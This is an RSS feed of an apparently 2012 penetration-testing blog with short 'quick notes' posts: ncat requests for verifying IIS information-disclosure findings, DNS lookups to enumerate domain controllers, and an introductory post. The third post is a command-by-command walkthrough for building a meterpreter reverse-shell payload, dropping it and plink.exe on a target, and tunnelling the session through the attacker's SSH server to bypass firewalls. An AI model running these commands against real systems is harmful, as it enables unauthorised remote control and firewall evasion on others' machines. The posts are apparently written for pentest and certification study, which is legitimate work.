<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>hdesser</title>
	<atom:link href="http://hdesser.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://hdesser.wordpress.com</link>
	<description>a quiet place to exploit</description>
	<lastBuildDate>Wed, 24 Oct 2012 13:39:53 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='hdesser.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>hdesser</title>
		<link>http://hdesser.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://hdesser.wordpress.com/osd.xml" title="hdesser" />
	<atom:link rel='hub' href='http://hdesser.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Quick notes &#8211; How to Verify IIS Findings</title>
		<link>http://hdesser.wordpress.com/2012/06/03/quick-notes-iis-findings/</link>
		<comments>http://hdesser.wordpress.com/2012/06/03/quick-notes-iis-findings/#comments</comments>
		<pubDate>Sun, 03 Jun 2012 16:16:50 +0000</pubDate>
		<dc:creator>humble-desser</dc:creator>
				<category><![CDATA[Microsoft IIS]]></category>
		<category><![CDATA[Verification]]></category>
		<category><![CDATA[IIS Findings]]></category>
		<category><![CDATA[IIS Verification]]></category>
		<category><![CDATA[IIS Vulnerabilities]]></category>

		<guid isPermaLink="false">http://hdesser.wordpress.com/?p=77</guid>
		<description><![CDATA[How to verify IIS findings (Requirement BT5R2): Microsoft IIS Authentication Method Disclosure Verifying HTTPS (*For http just remove &#8220;&#8211;ssl &#8221; from ncat command below ) References: Nexpose CVE BID Microsoft IIS Internal IP Address Leak Verifying HTTPS (*For http just remove &#8220;&#8211;ssl &#8221; from ncat command below) References: Nexpose BID &#160; Microsoft IIS ISAPI Services [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hdesser.wordpress.com&#038;blog=21519231&#038;post=77&#038;subd=hdesser&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>How to verify IIS findings (Requirement BT5R2):</p>
<h2><strong>Microsoft IIS Authentication Method Disclosure</strong></h2>
<p><strong>Verifying HTTPS</strong> (*For http just remove &#8220;&#8211;ssl &#8221; from ncat command below )<br />
<pre class="brush: css;">
# ncat --ssl -vv ip.address port
GET / HTTP/1.1
Host: iis-server
Authorization: Negotiate TlRMTVNTUAABAAAAB4IAoAAAAAAAAAAAAAAAAAAAAAA=

OR

GET / HTTP/1.1
Host: iis-server
Authorization: Basic cTFraTk6ZDA5a2xt

---&gt; RESPONSE:
HTTP/1.1 401 Access Denied
Server: Microsoft-IIS/5.0
Date: Sun, 03 Jun 2012 15:36:28 GMT
WWW-Authenticate: Negotiate TlRMTVNTUAACAAAAGgAaADgAAAAFgoKiSm+zVQ+ZeUsAAAAAAAAAAHwAfABSAAAABQCTCAAAAA9NAEsAUwAtAE4ATwBUAC0AVwBFAEIAMAAxAAIAGgBNAEsAUwAtAE4ATwBUAC0AVwBFAEIAMAAxAAEAGgBNAEsAUwAtAE4ATwBUAC0AVwBFAEIAMAAxAAQAGgBtAGsAcwAtAG4AbwB0AC0AdwBlAGIAMAAxAAMAGgBtAGsAcwAtAG4AbwB0AC0AdwBlAGIAMAAxAAAAAAA=
Content-Length: 24
Content-Type: text/html
</pre></p>
<p><em>References:</em><br />
<a title="Microsoft IIS Authentcation Method Disclosure" href="http://www.rapid7.com/vulndb/lookup/http-iis-auth-method-disclosure" target="_blank">Nexpose</a><br />
<a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-0419" target="_blank">CVE</a><br />
<a href="http://www.securityfocus.com/bid/4235" target="_blank">BID</a></p>
<h2><strong>Microsoft IIS Internal IP Address Leak</strong></h2>
<p><strong>Verifying HTTPS</strong> (*For http just remove &#8220;&#8211;ssl &#8221; from ncat command below)<br />
<pre class="brush: css;">
#########################################
# Content-Location Internal IP Leak
#########################################

ncat --ssl -vv ip.address port
HEAD / HTTP/1.0

OR

ncat --ssl -vv ip.address port
GET / HTTP/1.0

#########################################
# WEBDAV PROPFIND/SEARCH Internal IP Leak
#########################################

ncat --ssl -vv ip.address port
PROPFIND / HTTP/1.1
Host:
Content-Length: 0
</pre></p>
<p><em>References:</em><br />
<a title="Microsoft IIS Content Location Internal IP Address Leak" href="http://www.rapid7.com/vulndb/lookup/http-iis-0065" target="_blank">Nexpose</a><br />
<a href="http://www.securityfocus.com/bid/3159" target="_blank">BID</a></p>
<p>&nbsp;</p>
<h2><strong>Microsoft IIS ISAPI Services are Enabled</strong></h2>
<p><strong>Verifying HTTPS</strong> (*For http just remove &#8220;&#8211;ssl &#8221; from ncat command below)<br />
<pre class="brush: css;">

#########################################
# Test for the following extensions (IDA, 
# IDC, IDQ, HTR, HTW, and PRINTER)
#########################################
ncat --ssl -vv ip.address port
GET /x.printer HTTP/1.0

-----&gt; RESPONSE
HTTP/1.1 500 13
Server: Microsoft-IIS/5.0
Date: Sun, 03 Jun 2012 16:02:30 GMT
X-Powered-By: ASP.NET
Content-Type: text/html
&lt;b&gt;Error in web printer install.&lt;/b&gt;
</pre></p>
<p><em>References:</em><br />
<a href="http://www.rapid7.com/vulndb/lookup/http-iis-isapi-services-enabled" target="_blank">Nexpose</a></p>
<h2><strong>Microsoft IIS Unprotected CNF Files Information Disclosure</strong></h2>
<p><strong>Verifying HTTP</strong> (*For https just add &#8220;&#8211;ssl &#8221; from ncat command below)</p>
<p><pre class="brush: css;">

#########################################
# Test the for the following files:
# access.cnf, svcacl.cnf, writeto.cnf, 
# service.cnf, botinfs.cnf, bots.cnf, 
# linkinfo.cnf and services.cnf
#########################################

ncat --ssl -vv ip.address port
GET /_vti_pvt/access.cnf HTTP/1.0

---&gt; RESPONSE:
HTTP/1.1 200 OK
Content-Length: 121
Content-Type: text/plain
Last-Modified: Sat, 11 Mar 2006 07:59:56 GMT
Accept-Ranges: bytes
ETag: &quot;fa6d53c9e144c61:2184&quot;
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sun, 03 Jun 2012 16:07:16 GMT
Connection: close

vti_encoding:SR|utf8-nl
RealmName:exp-rom-web-01
PasswordDir:c:\\inetpub\\wwwroot\\_vti_pvt
InheritPermissions:false
</pre></p>
<p><em>References:</em></p>
<p><a title="Microsoft IIS Unprotected CNF Files Information Disclosure" href="http://www.rapid7.com/vulndb/lookup/http-iis-unprotected-cnf-files" target="_blank">Nexpose</a><br />
<a title="Check for IIS .cnf file leakage" href="http://www.rapid7.com/vulndb/lookup/http-iis-unprotected-cnf-files" target="_blank">SecuritySpace</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hdesser.wordpress.com/77/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hdesser.wordpress.com/77/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hdesser.wordpress.com&#038;blog=21519231&#038;post=77&#038;subd=hdesser&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hdesser.wordpress.com/2012/06/03/quick-notes-iis-findings/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/7dbe5e6f7597c4fe5e8054f68f0a8c39?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">humbledesser</media:title>
		</media:content>
	</item>
		<item>
		<title>Quick notes &#8211; Enumerate Domain Controllers via nslookup</title>
		<link>http://hdesser.wordpress.com/2011/12/16/quick-notes-enumerate-domain-controllers-via-nslookup/</link>
		<comments>http://hdesser.wordpress.com/2011/12/16/quick-notes-enumerate-domain-controllers-via-nslookup/#comments</comments>
		<pubDate>Fri, 16 Dec 2011 06:23:38 +0000</pubDate>
		<dc:creator>humble-desser</dc:creator>
				<category><![CDATA[Enumeration]]></category>
		<category><![CDATA[nslookup domain AD DC ldap]]></category>

		<guid isPermaLink="false">http://hdesser.wordpress.com/?p=67</guid>
		<description><![CDATA[Scenario: Let&#8217;s say you know the domain name but you would like to enumerate all domain controllers. domain: hacking.lab.local # Linux Backtrack 5 R1 (attacker machine)  Open your linux shell Using Nslookup Using Dig (Display a list of domain controllers ) References: Verify DNS registration for DC using nslookup &#8211; http://technet.microsoft.com/en-us/library/cc738991%28WS.10%29.aspx Get Domain Admins Script [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hdesser.wordpress.com&#038;blog=21519231&#038;post=67&#038;subd=hdesser&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Scenario:</p>
<p>Let&#8217;s say you know the domain name but you would like to enumerate all domain controllers.</p>
<p>domain: hacking.lab.local</p>
<p><strong># Linux Backtrack 5 R1 (attacker machine) </strong></p>
<ol start="1">
<li>Open your linux shell</li>
</ol>
<p><strong>Using Nslookup</strong></p>
<p><pre class="brush: css;">
nslookup
set type=srv
_ldap._tcp.dc._msdcs.hacking.lab.local
</pre></p>
<p><strong>Using Dig</strong> (Display a list of domain controllers )</p>
<p><pre class="brush: css;">dig SRV _ldap._tcp.dc._msdcs.hacking.lab.local | egrep -v '(;;)'|cut -d&quot; &quot; -f8 | awk NF
</pre></p>
<p><strong>References:</strong></p>
<p><em>Verify DNS registration for DC using nslookup</em> &#8211; <a href="http://technet.microsoft.com/en-us/library/cc738991%28WS.10%29.aspx" rel="nofollow">http://technet.microsoft.com/en-us/library/cc738991%28WS.10%29.aspx</a></p>
<p><em>Get Domain Admins Script (GDA.bat)<strong> &#8211; </strong></em><a href="https://github.com/nullbind/Other-Projects/tree/master/GDA" rel="nofollow">https://github.com/nullbind/Other-Projects/tree/master/GDA</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hdesser.wordpress.com/67/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hdesser.wordpress.com/67/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hdesser.wordpress.com&#038;blog=21519231&#038;post=67&#038;subd=hdesser&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hdesser.wordpress.com/2011/12/16/quick-notes-enumerate-domain-controllers-via-nslookup/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/7dbe5e6f7597c4fe5e8054f68f0a8c39?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">humbledesser</media:title>
		</media:content>
	</item>
		<item>
		<title>Quick notes &#8211; Get a meterpreter reverse shell through SSH tunnel</title>
		<link>http://hdesser.wordpress.com/2011/12/03/quick-notes-get-a-meterpreter-reverse-shell-through-ssh-tunnel/</link>
		<comments>http://hdesser.wordpress.com/2011/12/03/quick-notes-get-a-meterpreter-reverse-shell-through-ssh-tunnel/#comments</comments>
		<pubDate>Sat, 03 Dec 2011 09:58:45 +0000</pubDate>
		<dc:creator>humble-desser</dc:creator>
				<category><![CDATA[Metasploit]]></category>
		<category><![CDATA[meterpreter ssh evasion]]></category>

		<guid isPermaLink="false">http://hdesser.wordpress.com/?p=42</guid>
		<description><![CDATA[Scenario: Let&#8217;s say you are able to upload binaries to your target machine (via webshell, black magic, or bribes). When you try to upload your meterpreter payload and runs it the firewall kills your session. Below is a nice trick that you can pull in order to bypass evil firewalls or restrictive rules (keep in [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hdesser.wordpress.com&#038;blog=21519231&#038;post=42&#038;subd=hdesser&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Scenario:</p>
<p>Let&#8217;s say you are able to upload binaries to your target machine (via webshell, black magic, or bribes).</p>
<p>When you try to upload your meterpreter payload and runs it the firewall kills your session.</p>
<p>Below is a nice trick that you can pull in order to bypass evil firewalls or restrictive rules (keep in mind that sometimes you may need to change the port of your SSH server from 22 to something like 80 or 443).</p>
<p>In my humble opinion, meterpreter shells should never be dropped.</p>
<p><strong># Linux Backtrack 5 R1 (attacker machine) </strong></p>
<ol start="1">
<li>Fire up your SSH server</li>
<li>Generate your meterpreter payload :</li>
</ol>
<p><pre class="brush: css;">
msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.1.1 LPORT=4444 X &gt; /path/msf.exe
</pre></p>
<ol start="3">
<li>Drop msf.exe on your target</li>
<li>Drop plink.exe on your target (plink version from quest putty)</li>
<li>Set up a msf handler</li>
</ol>
<p><pre class="brush: css;">
color false
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.1.1
set lport 4444
set exitonsession false
exploit -j
</pre></p>
<ul>
<li>Note: Use 127.0.1.1 instead of 127.0.0.1 (otherwise you will have a lot of problems)</li>
</ul>
<p>On Mac you will have to set up an alias for lo interface:</p>
<p><pre class="brush: css;">
# ifconfig lo0 alias 127.0.1.1
</pre></p>
<p><strong># Windows (target machine)</strong></p>
<ol start="1">
<li>Connecting to the ssh server and setting up a port forwarding:</li>
</ol>
<p><pre class="brush: css;">
plink.exe user@ip_of_my_ssh_server -pw mypass –P port  -auto_store_key_in_cache -L 127.0.1.1:4444:127.0.1.1:4444
</pre></p>
<ol start="2">
<li>Start msf.exe</li>
</ol>
<p>You should get a meterpreter reverse shell.</p>
<p><strong>References:</strong></p>
<p><em>Resilient SSH Tunneled Meterpreter Session</em> &#8211; <a href="http://pauldotcom.com/2010/03/resilient-ssh-tunneled-meterpr.html" rel="nofollow">http://pauldotcom.com/2010/03/resilient-ssh-tunneled-meterpr.html</a></p>
<p><em>Quest PuTTY<strong> &#8211; </strong></em><a href="http://rc.quest.com/topics/putty/readme/#plinkopt" rel="nofollow">http://rc.quest.com/topics/putty/readme/#plinkopt</a></p>
<p><strong>Dirty notes:</strong></p>
<p><strong>Reverse:</strong></p>
<p><pre class="brush: css;">

##attacker##
# I had issues with reverse_https, so I highly recommend reverse_tcp
msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.1.1 LPORT=4444 X &gt; /path/msfrev.exe

## target ###

plink.exe user@ip_of_my_ssh_server -pw mypass –P port  -auto_store_key_in_cache -L 127.0.1.1:4444:127.0.1.1:4444

</pre></p>
<p><strong>Bind:</strong></p>
<p><pre class="brush: css;">

##attacker###

msfpayload windows/meterpreter/bind_tcp RHOST=127.0.1.1 LPORT=4444 X &gt; /path/msfbind.exe

##target##

plink.exe user@ip_of_my_ssh_server -pw mypass –P port  -auto_store_key_in_cache -R 127.0.1.1:4444:127.0.1.1:4444
</pre></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hdesser.wordpress.com/42/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hdesser.wordpress.com/42/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hdesser.wordpress.com&#038;blog=21519231&#038;post=42&#038;subd=hdesser&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hdesser.wordpress.com/2011/12/03/quick-notes-get-a-meterpreter-reverse-shell-through-ssh-tunnel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/7dbe5e6f7597c4fe5e8054f68f0a8c39?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">humbledesser</media:title>
		</media:content>
	</item>
		<item>
		<title>ready for the pain?</title>
		<link>http://hdesser.wordpress.com/2011/03/23/hello-world/</link>
		<comments>http://hdesser.wordpress.com/2011/03/23/hello-world/#comments</comments>
		<pubDate>Wed, 23 Mar 2011 23:58:05 +0000</pubDate>
		<dc:creator>humble-desser</dc:creator>
				<category><![CDATA[introduction]]></category>

		<guid isPermaLink="false">http://hdesser.wordpress.com/?p=1</guid>
		<description><![CDATA[Happy to announce my debut! Finally, I will have a place to vomit my ideas. Before I begin, few things you might need to know about me: A proud offsec certified student (OSWP/OSCP/OSCE), corelan&#8217;s student, and infosec enthusiast by heart.<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hdesser.wordpress.com&#038;blog=21519231&#038;post=1&#038;subd=hdesser&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p><strong><span style="color:#000000;">Happy to announce my debut!</span></strong></p>
<p><pre class="brush: css;">
ping hdesser.wordpress.com
PING lb.wordpress.com (72.233.2.58): 56 data bytes
64 bytes from 72.233.2.58: icmp_seq=0 ttl=52 time=117.765 ms
64 bytes from 72.233.2.58: icmp_seq=1 ttl=52 time=122.476 ms
64 bytes from 72.233.2.58: icmp_seq=2 ttl=52 time=111.617 ms
64 bytes from 72.233.2.58: icmp_seq=3 ttl=52 time=110.627 ms
64 bytes from 72.233.2.58: icmp_seq=4 ttl=52 time=115.772 ms
64 bytes from 72.233.2.58: icmp_seq=5 ttl=52 time=138.754 ms
^C
--- lb.wordpress.com ping statistics ---
6 packets transmitted, 6 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 110.627/119.502/138.754/9.464 ms
</pre></p>
<p>Finally, I will have a place to vomit my ideas.</p>
<p>Before I begin, few things you might need to know about me: <span style="text-decoration:underline;"><br />
</span></p>
<p><span style="color:#808080;"><span style="text-decoration:underline;">A</span><span style="text-decoration:underline;"> proud <a title="Offensive-Security" href="http://www.offensive-security.com" target="_blank">offsec</a> certified student (OSWP/OSCP/OSCE)</span>, corelan&#8217;s student, and <span style="text-decoration:underline;">infosec enthusiast by heart</span>.</span></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hdesser.wordpress.com/1/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hdesser.wordpress.com/1/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hdesser.wordpress.com&#038;blog=21519231&#038;post=1&#038;subd=hdesser&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hdesser.wordpress.com/2011/03/23/hello-world/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/7dbe5e6f7597c4fe5e8054f68f0a8c39?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">humbledesser</media:title>
		</media:content>
	</item>
	</channel>
</rss>
